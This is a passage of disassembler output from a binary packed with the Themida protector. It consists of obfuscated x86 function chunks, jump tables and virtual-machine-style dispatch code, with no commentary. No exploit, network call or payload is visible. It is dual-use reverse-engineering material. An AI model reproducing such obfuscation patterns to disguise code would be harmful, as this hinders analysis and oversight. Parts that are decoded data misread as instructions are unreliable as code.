; START	OF FUNCTION CHUNK FOR sub_558326


loc_55DBCD:				; CODE XREF: sub_558326-892j
		add	esp, [edx+38h]
		push	esi
		mov	esi, 3BFD119Bh
		mov	dword ptr [edx+38h], 0A20348F2h
		sub	[edx+38h], esi
		pop	esi
		shl	dword ptr [edx+38h], 4
		jmp	loc_554DAE
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DBEA:				; CODE XREF: sub_55ABF6-92A2j
		pop	ecx
		jmp	loc_555EC5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DBF0:				; CODE XREF: Themida_:0055C3C5j
		push	60AFh
		mov	[esp], edi
		jmp	loc_5570C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DBFD:				; CODE XREF: sub_55ABF6-5515j
		add	ebx, edi
		sub	ebx, 713A141Eh
		push	ecx
		push	ebx
		mov	ebx, 0A3C41D9h
		add	ebx, 5802D63h
		mov	ecx, ebx
		jmp	loc_556811
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DC19:				; CODE XREF: Themida_:0055B701j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55DC27:				; CODE XREF: sub_55163B+560Dj
		shr	ebp, 6
		add	ebp, 462637B2h
		shr	ebp, 4
		push	ebx
		mov	ebx, 0F18798E6h
		sub	ebp, ebx
		jmp	loc_5520A0
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DC40:				; CODE XREF: sub_55ABF6-41FAj
		pop	esi
		add	eax, 7B6C3AAAh
		add	eax, ecx
		sub	eax, 7B6C3AAAh
		sub	eax, 257560BDh
		mov	ecx, [esp-0Ah+arg_4+2]
		jmp	loc_554CCC
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DC5A:				; CODE XREF: Themida_:00558D23j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		jmp	loc_55A020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_55DC6D:				; CODE XREF: sub_556D34+3C72j
		pop	esi
		jmp	sub_55314C
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55DC73:				; CODE XREF: sub_55D40D-A9FCj
		xchg	edi, edx
		xor	edx, 7E4E6FA0h
		xor	edx, 0CEB4A4A1h
		add	eax, edx
		pop	edx
		add	eax, ebp
		sub	eax, 189255FEh
		pop	ebp
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	[esp-4+arg_0]
		jmp	loc_554632
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55DC9A:				; CODE XREF: sub_55C814+FB7j
		xor	eax, 4136C5ABh
		push	eax
		jmp	loc_55A78B
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55DCA5:				; CODE XREF: sub_55314C+4BE1j
		add	esp, 4
		xor	edx, ecx
		pop	ecx
		and	ecx, edx
		jmp	loc_55888D
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55DCB5:				; CODE XREF: sub_552215+7F1Fj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_554179
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C6B


loc_55DCCD:				; CODE XREF: sub_555C6B+2F9Ej
		pop	edx
		pop	eax
		jmp	sub_5536FD
; END OF FUNCTION CHUNK	FOR sub_555C6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55DCD4:				; CODE XREF: sub_55910B-6FF8j
		add	al, dl
		mov	edx, [esp+0]
		jmp	loc_55D26F
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DCDE:				; CODE XREF: sub_55ABF6+185Dj
		xor	ecx, 0A9507BBDh
		jmp	loc_551604
; ---------------------------------------------------------------------------


loc_55DCE9:				; CODE XREF: sub_55ABF6-6D94j
		mov	ebp, ebx
		push	[esp-6+arg_0+2]
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_554552
; ---------------------------------------------------------------------------


loc_55DCF7:				; CODE XREF: sub_55ABF6-3C95j
		add	eax, [ecx]
		pop	ecx
		mov	ebx, [esp-12h+arg_C+2]
		push	esi
		mov	esi, esp
		push	0A9Ch
		mov	[esp-0Ah+arg_4+2], ebx
		push	ebp
		mov	ebp, 52F21495h
		jmp	loc_5567F0
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55DD13:				; CODE XREF: sub_55C58B-5414j
		xor	edi, 0FB525C0Ah
		mov	ebx, edi
		jmp	loc_55C583
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55DD20:				; CODE XREF: sub_551F97+264Ej
		push	3DB62BF0h
		pop	edx
		jmp	loc_555619
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_55DD2B:				; CODE XREF: sub_556901+1474j
		mov	esp, [esp-8+arg_4]
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	sub_55890A
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DD40:				; CODE XREF: sub_55ABF6-2266j
		pop	edi
		or	ebx, 0AC00A23h
		and	ebx, 3DFF0998h
		push	esi
		mov	esi, 4A058E7h
		xor	ebx, esi
		pop	esi
		sub	ecx, ebx
		mov	ebx, [esp-12h+arg_C+2]
		add	esp, 4
		sub	ebx, ecx
		push	[esp-16h+arg_12]
		pop	ecx
		jmp	loc_55C1F8
; ---------------------------------------------------------------------------


loc_55DD69:				; CODE XREF: sub_55ABF6-9383j
		pop	[esp-0Eh+arg_8+2]
		mov	esp, [esp-12h+arg_C+2]
		push	ebx
		push	40h
		push	[esp-0Ah+arg_4+2]
		pop	ebx
		jmp	loc_559830
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55DD7E:				; CODE XREF: Themida_:005598F5j
		mov	[esp], ebp
		mov	ebp, 0F61DEEh
		shr	ebp, 8
		add	ebp, 63C82E0Bh
		jmp	loc_55B814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_55DD94:				; CODE XREF: sub_55A833+19j
		mov	edi, 25F7028Ch
		push	edx
		mov	edx, 672D3CB7h
		neg	edx
		xor	edx, 0C66D9DE6h
		add	esi, edx
		pop	edx
		jmp	loc_55CBA3
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55DDAF:				; CODE XREF: sub_55163B+308Fj
		xchg	ebp, edx
		push	ecx
		push	5E3Eh
		mov	[esp+4+var_4], eax
		push	ebx
		mov	ebx, 62A03498h
		jmp	loc_55CCB2
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_55DDC5:				; CODE XREF: Themida_:0055D4B4j
		xchg	ebp, [esp]
		pop	esp
		neg	dh
		add	dh, 7Fh
		push	71A7h
		mov	[esp], edx
		mov	dh, 6Ch
		sub	dh, 6Bh
		sub	bl, dh
		pop	edx
		push	cx
		mov	ch, 0B6h
		jmp	loc_553797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55DDE7:				; CODE XREF: sub_552215+124Aj
		push	52F8h
		mov	[esp+8+var_8], edi
		jmp	loc_5523AE
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525F4


loc_55DDF4:				; CODE XREF: sub_5525F4+38AAj
		add	esp, 4
		pop	esi
		jmp	loc_554A6A
; END OF FUNCTION CHUNK	FOR sub_5525F4
; ---------------------------------------------------------------------------


loc_55DE00:				; CODE XREF: Themida_:0055CF9Cj
		pop	edi
		add	ebp, 189C70DEh
		add	ebp, ecx
		sub	ebp, 189C70DEh
		pop	ecx
		jmp	loc_55728B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_55DE15:				; CODE XREF: sub_55389F-1C9Bj
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55DE25:				; CODE XREF: sub_55ABF6-56A9j
		mov	edx, ecx
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55DE28	proc near		; CODE XREF: sub_55ABF6-5A6Bj
					; sub_55ABF6+41Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557658 SIZE 0000000B BYTES

		push	ebx
		jmp	loc_557658
sub_55DE28	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_55DE2E:				; CODE XREF: sub_559977-1581j
		mov	cx, 5E9Ch
		inc	cx
		shr	cx, 5
		xor	cx, 1EE4h
		xor	bp, cx
		pop	ecx
		push	edi
		jmp	loc_55A24B
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------


loc_55DE47:				; CODE XREF: Themida_:005537B5j
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		sub	edx, 3B9A2B9Ch
		jmp	loc_553F0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_55DE5A:				; CODE XREF: sub_556BCD+2FFCj
		mov	[esp+0], ecx
		mov	cl, 9Bh
		sub	al, 2
		jmp	loc_551674
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55DE6D:				; CODE XREF: Themida_:005530C7j
		dec	ecx
		xor	ecx, 21E5E171h
		push	ecx
		jmp	loc_55D71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55DE7A:				; CODE XREF: sub_554592+59CDj
		mov	edx, esi
		pop	esi
		sub	eax, edx
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 601874DDh
		sub	eax, esi
		pop	esi
		sub	eax, 6EA717A4h
		sub	eax, ebx
		add	eax, 6EA717A4h
		add	eax, 601874DDh
		add	eax, 1BB365C3h
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	edx
		jmp	loc_553F5D
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_55DEB1:				; CODE XREF: Themida_:005587D6j
		inc	ecx
		push	edi
		mov	edi, 53FC331Dh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7DFB5B0Bh
		sub	ebp, 0FFFFFFFFh
		and	ebp, 2CDC6D3Ah
		jmp	loc_55B0CE
; ---------------------------------------------------------------------------
		align 8
		dd offset loc_5B7D70
		dd 7FFE0304h, 0A269DDh,	5B6AB3h, 1FEA0000h, 0FA4695FCh
		dd 213h, 2, 1, 3, 0FA4695FCh, 5	dup(0)
		dd offset loc_55EF96
		dd offset loc_56C2A3
		dd offset loc_5656E0
		dd offset sub_55EDA7
		dd offset loc_568D74
		dd offset loc_561ED5
		dd offset loc_55FE0D
		dd offset loc_5712C5
		dd offset loc_571619
		dd offset loc_55FA33
		dd offset sub_55E846
		dd offset loc_56B889
		dd offset sub_570A92
		dd offset loc_5671DC
		dd offset loc_567B70
		dd offset loc_5716F2
		dd offset loc_566625
		dd offset loc_562486
		dd offset loc_5639DE
		dd offset loc_56BA38
		dd offset loc_571EF5
		dd offset loc_56211D
		dd offset loc_56078B
		dd offset loc_56B62F
		dd offset loc_563A92
		dd offset loc_56B701
		dd offset loc_5617BE
		dd offset loc_564611
		dd offset loc_56876D
		dd offset loc_56A250
		dd offset loc_5647D9
		dd offset loc_5611BC
		dd offset loc_566152
		dd offset sub_56E2B3
		dd offset loc_564D8F
		dd offset loc_567009
		dd offset sub_56F03C
; ---------------------------------------------------------------------------
		scasb
		xchg	edx, [esi+0]
		cmp	cl, [ebx]
		push	edi
		add	bl, dl
		not	byte ptr [esi+0]
		jmp	dword ptr [eax+56h]
; ---------------------------------------------------------------------------
		align 4
		retf	562Ch
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_560B33
		dd offset loc_56B752
		dd offset loc_567570
		dd offset loc_568BAD
		dd offset loc_56458A
		dd offset loc_56118C
		dd offset sub_5723B5
		dd offset loc_56727A
		dd offset loc_56877C
		dd offset sub_571297
		dd offset sub_5714BB
		dd offset loc_569912
		dd offset loc_56375C
		dd offset loc_570343
		dd offset loc_571382
		dd offset loc_571867
		dd offset loc_5714F8
		dd offset loc_55F847
		dd offset loc_562FF0
		dd offset loc_55F9B9
		dd offset loc_562C90
		dd offset sub_55ED3F
		dd offset sub_56EF4F
		dd offset sub_571050
		dd offset loc_563CB1
		dd offset loc_56208F
		dd offset loc_56904A
		dd offset loc_564659
; ---------------------------------------------------------------------------
		add	ch, [esi+56h]
		add	[edx+4300561Ah], al
		jmp	short loc_55E091
; ---------------------------------------------------------------------------
		align 4
		dd offset sub_56F72C
		dd offset sub_56E567
		dd offset loc_56199C
		dd offset loc_56F00E
		dd offset loc_56DEF8
		dd offset loc_570BDD
		dd offset loc_5625FD
		dd offset loc_569078
		dd offset loc_566EE2
		dd offset loc_569CB8
; ---------------------------------------------------------------------------
		or	dword ptr [esi+edx*2+563DF500h], 0
		retn	570Ch
; ---------------------------------------------------------------------------
		align 10h
		dd offset off_569450
		dd offset loc_562FE4
		dd offset loc_56D25C
		dd offset loc_56E2E6
		dd offset loc_56C003
		dd offset sub_56F585
		dd offset loc_56A31A
		dd offset sub_56EBC7
		db 8Fh
; ---------------------------------------------------------------------------


loc_55E091:				; CODE XREF: Themida_:0055E039j
		cmp	al, 56h
		add	[ebp-79h], cl
		push	esi
		add	[ecx+13h], bl
		push	edi
		add	[ebx+4B005727h], bh
		sti
		push	esi
		add	[edi+530056EFh], dl
		les	edx, [esi+0]
		fild	word ptr [ebx]
		push	edi
		add	[edx], dl
		adc	dl, [edi+0]
		mov	eax, edi
		push	ebp
		add	[esi], bl
		outsd
		push	esi
		add	[ecx+520056A8h], al
		mov	ecx, 0E2A20056h
		push	ebp
		add	[eax+2Ah], cl
		push	esi
		add	[ebp+esi*4+56h], bl
		add	[edx+8005691h],	al
; ---------------------------------------------------------------------------
		db 8Fh,	56h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_55E14D
; ---------------------------------------------------------------------------
		push	esi
		add	[edx], ah
		retn
; ---------------------------------------------------------------------------
		push	esi


loc_55E0DF:				; CODE XREF: Themida_:0055E0ECj
		add	ah, ch
		db	67h
		push	esi
		add	[edx+370056FEh], al
		xor	edx, [esi+0]
		jnp	short loc_55E0DF
		push	esi
		add	dl, ah
		jmp	short loc_55E149
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_561A73
		dd offset sub_56EF21
		dd offset loc_55F358
		dd offset sub_56D90D
		dd offset sub_5726B6
		dd offset sub_56E1D9
		dd offset loc_5649FA
		dd offset loc_5706D0
; ---------------------------------------------------------------------------
		cdq
		sbb	eax, 28D00057h
		push	esi
		add	[ecx+3D005617h], dl
		sbb	eax, 0E96A0056h
		push	ebp
		add	[ecx+esi*8-3DDFFAAh], ah
		push	esi
		add	[ebx], al
		scasb
		push	esi
		add	[esi+2F0056D1h], ah
		add	dl, [edi+0]
		jle	short loc_55E1AA
		push	esi
		add	dl, dh
		inc	edi
		push	esi
		add	[ecx+570056EBh], dl


loc_55E149:				; CODE XREF: Themida_:0055E0F1j
		out	56h, eax
; ---------------------------------------------------------------------------
		db 0
		db 0Dh
; ---------------------------------------------------------------------------


loc_55E14D:				; CODE XREF: Themida_:0055E0D8j
		scasb
		push	esi
		add	[edx-12h], ch
		push	ebp
		add	ds:0FB0055EFh, cl
		sti
		push	esi
		add	ds:80005699h, bh
		cld
		push	ebp
		add	[esi+2200568Dh], ch
		das
		push	esi
		add	[eax+3], ah
		push	edi
		add	cl, cl
		adc	al, 57h
		add	ds:0ED0056AAh, ah
		db	65h
		push	esi
		add	[ecx+edi*4], dl
		push	esi
		add	bl, cl
		pop	esi
		push	esi
		add	[ebp-18h], cl
		push	esi
		add	[esi+eax], ch
		push	esi
		add	[edx+7Bh], dl
		push	esi
		add	[edx-4Bh], al
		push	esi
		add	dl, ah
		repne push esi
		add	[edi-34h], cl
		push	esi
		add	[esi], bl
		or	al, 56h
		add	[ebx-75FFA95Fh], dl
		sbb	[edi+0], dl
		pop	eax
		std


loc_55E1AA:				; CODE XREF: Themida_:0055E13Cj
		push	ebp
		add	[esi+59h], bl
		push	esi
		add	cl, dh
		or	[edi+0], dl


loc_55E1B4:				; CODE XREF: Themida_:0059FE62j
					; Themida_:0059FE6Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60F4BC0h
		mov	eax, edi
		add	edi, 60F48D8h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55E1D2
		jmp	short loc_55E1E5
; ---------------------------------------------------------------------------


loc_55E1D2:				; CODE XREF: Themida_:0055E1CEj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55E1E1
; ---------------------------------------------------------------------------


loc_55E1DC:				; CODE XREF: Themida_:0055E1E3j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55E1E1:				; CODE XREF: Themida_:0055E1DAj
		or	ecx, ecx
		jnz	short loc_55E1DC


loc_55E1E5:				; CODE XREF: Themida_:0055E1D0j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55E1F2:				; CODE XREF: Themida_:0055E1F9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55E1F2
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E1FB:				; CODE XREF: sub_55EDA7-8C0j
					; sub_55EDA7-7DFj ...
		lodsb
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	ebx
		mov	bh, 0A3h
		jmp	loc_56DADF
; ---------------------------------------------------------------------------


loc_55E20E:				; CODE XREF: sub_55EDA7+70D0j
		xchg	eax, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_56AA69
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E217	proc near		; CODE XREF: sub_55EDA7+12F77j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00571B94 SIZE 00000016 BYTES

		push	ebx
		mov	ebx, 8931DB8h
		inc	ebx
		sub	ebx, 2C0703EBh
		add	edi, 36D023B7h
		jmp	loc_571B94
sub_55E217	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E22F:				; CODE XREF: sub_55EDA7+F90Dj
		add	ecx, 4
		push	ebx
		jmp	loc_560946
; ---------------------------------------------------------------------------


loc_55E23B:				; CODE XREF: sub_55EDA7+6BB2j
		sub	ecx, ebp
		sub	ecx, 66B16A9Dh
		pop	ebp
		shl	ecx, 7
		sub	ecx, 0D61D17B7h
		sub	eax, 520F19F1h
		sub	eax, ecx
		add	eax, 520F19F1h
		mov	ecx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_E+2]
		pop	esp
		xor	ebx, eax
		push	ecx
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		push	ecx
		jmp	loc_56A6BA
; ---------------------------------------------------------------------------


loc_55E27B:				; CODE XREF: sub_55EDA7+D97Ej
		shr	edi, 4
		or	edi, 3F646505h
		jmp	loc_569E3D
; ---------------------------------------------------------------------------


loc_55E289:				; CODE XREF: sub_55EDA7+2C70j
		add	dl, 0A7h
		pop	ebx
		mov	al, 0DDh
		sub	al, dl
		pop	edx
		jmp	loc_572536
; ---------------------------------------------------------------------------


loc_55E297:				; CODE XREF: sub_55EDA7+128ECj
		sub	ebp, 202A1410h
		jmp	loc_5678C4
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1A86h
		mov	[esp], edx
		push	esp
		pop	edx
		push	567Ah
		mov	[esp], eax
		push	esi
		push	3A055036h
		pop	esi
		jmp	loc_56999C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E2C4:				; CODE XREF: sub_55EDA7+A3A1j
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], esi
		push	ecx
		push	ebp
		push	ecx
		mov	ecx, 100h
		mov	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebp
		jmp	loc_561A1C
; ---------------------------------------------------------------------------


loc_55E2E4:				; CODE XREF: sub_55EDA7+E282j
		and	ecx, ebx
		pop	ebx
		jmp	loc_56CB07
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_55E2EC	proc near		; CODE XREF: sub_55EDA7+114EBj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056CABD SIZE 00000022 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		xchg	ebx, edx
		push	ebx
		xchg	ebx, [esp+0]
		not	ebx
		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, edx
		xchg	eax, edx
		jmp	loc_56CABD
sub_55E2EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_55E312	proc near		; CODE XREF: sub_55EDA7+12F33j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055EA5A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DA9B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F6A7 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	ecx
		push	29B5h
		mov	[esp+4+var_4], edx
		mov	edx, 4
		jmp	loc_56F6A7
sub_55E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_55E332	proc near		; CODE XREF: sub_55E474+1Fj
		sub	esp, 4
		jmp	loc_5644A2
sub_55E332	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E33D:				; CODE XREF: sub_55EDA7+11171j
		pop	esi
		push	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_5611F4
; ---------------------------------------------------------------------------


loc_55E34A:				; CODE XREF: sub_55EDA7+A26j
		mov	al, dl
		pop	edx
		jmp	loc_56127C
; ---------------------------------------------------------------------------


loc_55E352:				; CODE XREF: sub_55EDA7+800Dj
		push	edx
		push	[esp+18h+var_16+2]
		pop	edx
		pop	[esp+18h+var_1A+2]
		pop	esp
		jmp	loc_56F05A
; ---------------------------------------------------------------------------


loc_55E361:				; CODE XREF: sub_55EDA7+ED08j
		add	ebp, 2
		push	ebp
		push	[esp+14h+var_12+2]
		jmp	loc_560241
; ---------------------------------------------------------------------------


loc_55E371:				; CODE XREF: sub_55EDA7+C0C5j
		push	edx
		push	4CF1h
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 0E5A4386h
		mov	edx, ebx
		pop	ebx
		mov	ebx, 75A1617Bh
		jmp	loc_56BE49
; ---------------------------------------------------------------------------


loc_55E38C:				; CODE XREF: sub_55EDA7+5CBj
		xor	[esp+1Ch+var_1E+2], 686D401Fh
		mov	edx, [esp+1Ch+var_1E+2]
		jmp	loc_5630F3
; ---------------------------------------------------------------------------


loc_55E39B:				; CODE XREF: sub_55EDA7+1320Aj
		pop	esp
		mov	[esp+18h+var_1A+2], ebx
		jmp	loc_571FB6
; ---------------------------------------------------------------------------


loc_55E3A4:				; CODE XREF: sub_55EDA7+62C1j
		mov	eax, ebp
		mov	ecx, eax
		pop	eax
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		sub	ecx, 0FFFFFFFFh
		jmp	loc_571182
; ---------------------------------------------------------------------------


loc_55E3BA:				; CODE XREF: sub_55EDA7+6602j
		mov	[esp+10h+var_12+2], ecx
		mov	ch, 4Dh
		jmp	loc_56A16F
; ---------------------------------------------------------------------------


loc_55E3C4:				; CODE XREF: sub_55EDA7+AEDCj
		xchg	esi, edx
		not	esi
		jmp	loc_5687B4
; ---------------------------------------------------------------------------


loc_55E3CD:				; CODE XREF: sub_55EDA7+576Bj
		xor	esi, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], esi
		xor	esi, [esp+10h+var_12+2]
		pop	esp
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 1
		xchg	eax, ebx
		not	eax
		inc	eax
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		push	edi
		mov	edi, 4B4412AFh
		dec	edi
		jmp	loc_571AC9
; ---------------------------------------------------------------------------


loc_55E3F4:				; CODE XREF: sub_55EDA7+145Ej
		mov	ebx, 24h
		add	ebx, edi
		push	6176h
		mov	[esp+18h+var_1A+2], eax
		mov	eax, 0
		jmp	loc_562596
; ---------------------------------------------------------------------------


loc_55E40D:				; CODE XREF: sub_55EDA7+1003Ej
		xor	eax, 0C5F6CA5h
		inc	eax
		jmp	loc_567D12
; ---------------------------------------------------------------------------


loc_55E418:				; CODE XREF: sub_55EDA7+82F6j
		push	6862h
		jmp	loc_5725EC
; ---------------------------------------------------------------------------


loc_55E422:				; CODE XREF: sub_55EDA7+AC15j
		xor	dh, 3Dh
		sub	dh, 6
		add	ah, dh
		pop	edx
		xor	ah, 62h
		mov	dl, ah
		pop	eax
		xor	bh, dl
		pop	dx
		jmp	loc_56BD79
; ---------------------------------------------------------------------------


loc_55E43A:				; CODE XREF: sub_55EDA7+5140j
		and	ah, 81h
		add	ah, 44h
		and	dl, ah
		pop	eax
		xor	dl, 9Bh
		add	dl, 0DBh
		jmp	loc_5629C1
; ---------------------------------------------------------------------------


loc_55E44E:				; CODE XREF: sub_55EDA7+8683j
		add	esp, 4
		jmp	loc_56D7A3
; ---------------------------------------------------------------------------


loc_55E456:				; CODE XREF: sub_55EDA7+CB76j
		pop	edx
		jmp	loc_56457F
; ---------------------------------------------------------------------------


loc_55E45C:				; CODE XREF: sub_55EDA7+C717j
		mov	[esp+6+var_8+2], ecx
		push	[esp+6+var_4+2]
		mov	ecx, [esp+0]
		sub	esp, 4
		mov	[esp+0Eh+var_E], ecx
		jmp	loc_566B67
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_55E474	proc near		; CODE XREF: sub_55EDA7+D14Bj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, ebx
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	sub_55E332
sub_55E474	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_55E498:				; CODE XREF: sub_55EDA7+ACj
		add	ecx, 6B501993h
		add	ebp, ecx
		pop	ecx
		mov	ebx, [esp+0]
		jmp	loc_567202
; ---------------------------------------------------------------------------


loc_55E4A9:				; CODE XREF: sub_55EDA7+10980j
		pop	ecx
		jmp	loc_566911
; ---------------------------------------------------------------------------


loc_55E4AF:				; CODE XREF: sub_55EDA7+A545j
		sub	ebp, 49D66850h
		xor	ebp, 193D7A64h
		sub	esi, ebp
		pop	ebp
		xor	esi, 2722CD1h
		sub	esi, 443C13FEh
		inc	esi
		neg	esi
		sub	esi, 239818A7h
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+0]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55E4EC:				; CODE XREF: sub_55EDA7+3A30j
		mov	ebp, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_5637BE
; ---------------------------------------------------------------------------


loc_55E4F7:				; CODE XREF: sub_55EDA7+BAF8j
		shl	eax, 6
		jmp	loc_56A989
; ---------------------------------------------------------------------------


loc_55E4FF:				; CODE XREF: sub_55EDA7+AD54j
		pop	ecx
		add	ecx, 4
		jmp	loc_56CECB
; ---------------------------------------------------------------------------


loc_55E50B:				; CODE XREF: sub_55EDA7+44Fj
		xor	dl, al
		pop	eax
		add	dl, bl
		pop	ebx
		push	ecx
